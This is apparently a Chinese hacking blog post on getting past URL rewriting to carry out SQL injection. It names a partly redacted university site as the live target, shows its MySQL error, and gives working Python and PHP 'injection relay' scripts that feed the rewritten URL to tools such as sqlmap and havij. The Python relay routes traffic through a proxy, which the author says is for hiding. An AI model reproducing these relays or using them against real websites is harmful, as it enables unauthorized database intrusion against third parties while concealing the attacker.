python 脚本处理伪静态注入

目前有很多网站做了 rewrite.

```
/?id=1
/1
/1111.php
```

通常情况下，动态脚本的网站的 url 类似下面这样

http://www.xxoo.net/aa.php?id=123

做了伪静态之后类似这样

http://www.xxoo.net/aa.php/id/123.html

总归大趋势下，攻击的门槛逐渐增高。

实战举例：

http://www.bxxxxxxxxxxxx.edu/magazine/index.php/mxxxxia/gallery/dickinsons-last-dance/1

这个点存在注入

```
Error  Number: 1064
You have  an error in your SQL syntax; check the manual that corresponds to your MySQL  server version for the right syntax to use near '1dddddd, 1' at line 4
```

标准的显错注入。

这里测试了几个工具 havij

sqlmap

safe3

穿山甲

此上都无法直接注入。

这里借助注入中转实现：

中转工具有一些 win7 下会遭遇各种奇葩问题。并 linux 下不能使用。

用 python code 了一篇，为什么用 python 因为他开发快，不用各种环境。

```
from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
def do_GET(self):
path=self.path
path=path[path.find('id=')+3:]
proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})

opener = urllib2.build\_opener(proxy\_support)
urllib2.install_opener(opener)
url="http://www.xxxxxxxxxxxx.edu/magazine/imedia/gallery/dickinsons
-last-dance/"
try:
response=urllib2.urlopen(url+path)
html=response.read()
except urllib2.URLError,e:
html=e.read()
self.wfile.write(html)
```

```
server =  HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()
```

不到 20 行代码（并加入了 goagent 代理 for hidden ）。 已经实现了要求。

http://127.0.0.1:8000/?id=1

从而达到目的。相比构造自己脚本去执行 sql 注入语句，要高效的多

给习惯用 php 的朋友添加一个 php 脚本的中转注入：

可以自定义需要的头信息，在需要 cookie 或者 refer 等位置都可以方便的添加，添加好后直接访问 zhongzhuan.php?id=1 然后就可以放到工具中注入了，十分方便 :)

```
<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace("  ","%20",$id);
$id=str_replace("=","%3D",$id);
$cookie="test";
$url =  "http://www.qq.com/index.php/id/{$id}.html";
//$postdata  = "";
$ch =  curl_init();
curl_setopt($ch,  CURLOPT_URL, "$url");
curl_setopt($ch,  CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,  CURLOPT_HEADER, 0);
curl_setopt($ch,  CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch,  CURLOPT_COOKIE, "$cookie");
//  curl_setopt($ch, CURLOPT_POST, 1);//post 提交方式
//  curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);//post 的数据
```

```
$output =    curl_exec($ch);
curl_close($ch);
print_r($output);
?>
```